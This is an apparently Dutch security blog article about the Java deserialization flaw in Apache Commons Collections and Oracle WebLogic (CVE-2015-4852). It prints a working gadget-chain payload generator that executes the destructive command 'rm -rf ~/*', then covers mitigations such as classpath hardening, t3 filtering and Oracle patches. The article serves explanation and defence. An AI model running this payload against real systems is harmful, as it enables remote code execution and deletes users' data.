Deserialization vulnerability met Apache Commons & Oracle WebLogic

Met Java serialization kunnen ontwikkelaars een Java-object opslaan in een binair formaat zodat het kan worden verzonden over een netwerk. Bijvoorbeeld Remote Method Invocation (RMI) gebruikt deze technologie.

Verschillende security problemen kunnen ontstaan wanneer een service binaire data aanvaardt van een willekeurige client en de binaire input middels ‘deserialisatie’ omzet in een Java-instantie. Een aanvaller kan op basis van deze service een willekeurige object-instantie in binair formaat naar deze service sturen. De service zou het object dan deserialiseren en zo op de andere server creëren.

Als de klasse van het object zich niet op het classpath bevindt, wordt er een exceptie gegooid, maar het kan zijn dat deze exceptie te laat komt en de schade al tot stand is gebracht.

Een voorbeeld
Als we willekeurige user input deserialiseren, kan dit door aanvallers uitgebuit worden om een willekeurig stuk Java code op het systeem uit te voeren. Een voorbeeld van zo een stuk code ziet er als volgt uit:

public static void main(String[] args) throws Exception {
Transformer[] transformers =
new Transformer[] { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] {"/usr/bin/rm -rf ~/*"}) };

Transformer chain = new ChainedTransformer(transformers);
Map inner = new HashMap();
inner.put("value", "value");

Map outer = TransformedMap.decorate(inner, null, chain);
Class clazz = Class.forName("sun.refl ect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, outer);

File file = new File("/directory/payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close()
}

Hier wordt org.apache.commons.collections.functors.InvokerTransformer gebruikt om een commando (/usr/bin/rm -rf ~/*) op het systeem uit te voeren. In dit voorbeeld wordt eveneens een bericht(payload) gegenereerd dat gebruikt kan worden in een deserialisatie aanval. Een proof-of-concept-tool voor het genereren van verschillende payloads is ysoserial (https://github.com/frohoff/ysoserial).

Meer informatie met betrekking tot het gebruik van Java deserialisatie kan gevonden worden in het IBM Developworks document “Look-ahead Java deserialization” (http://www.ibm.com/developerworks/library/se-lookahead/). Voorbeelden hoe de InvokerTransformer klasse misbruikt kan worden op verschillende platformen kan gevonden worden op de FoxGlove Security blog (http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/).

Dus we weten dat het mogelijk is, maar wat kunnen we er tegen doen?
Een oplossing is te zorgen dat klassen zoals InvokerTransformer zich niet in het ‘CLASSPATH’ bevinden en dus niet benaderd kunnen worden.

Een serieuzere oplossing is ervoor te zorgen dat buitenstaanders (potentiele hackers) niet in staat zijn om ‘deserializatie listeners’ te benaderen. Dit kan bijvoorbeeld door het hanteren van strikte firewall regels (port en protocol filtering). In het algemeen worden geserialiseerde objecten niet via HTTP gebruikt, maar andere protocollen die op verschillende poorten draaien, in het geval van WebLogic is dit het t3-protocol.

Met betrekking tot WebLogic heeft Oracle een security alert gepubliseerd: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html . Hierin worden twee Oracle Support Notes aangehaald:

– CVE-2015-4852 Mitigation Recommendations for Oracle WebLogic Server Component of Oracle Fusion Middleware (Doc ID 2076338.1)

– CVE-2015-4852 Patch Availability Document for Oracle WebLogic Server Component of Oracle Fusion Middleware (Doc ID 2075927.1)

Het eerste artikel beschrijft maatregelen om de impact te verminderen. In het geval van WebLogic is dit het filteren van t3-protocol verkeer, bijvoorbeeld door gebruik te maken van een proxy. Merk op dat de WebLogic proxy plug-in (12.2.1, 12.1.3, en 11.1.1.9) dit bij default al doet. Een voorbeeld hoe de Apache HTTP Server geconfigureerd kan worden met de WebLogic proxy plug-in kan in de volgende post gevonden worden: http://middlewaresnippets.blogspot.nl/2015/09/working-some-more-with-apache-http.html.

Samenvatting

De gemelde vulnerability stelt een buitenstaander in staat op basis van redelijk standaard JAVA code een willekeurig commando op uw systeem uit te laten voeren. Door het correct instellen van filters op de relevante protocollen is het risico sterk te verminderen omdat er alleen objecten van trusted partners ontvangen kunnen worden.

Scroll to Top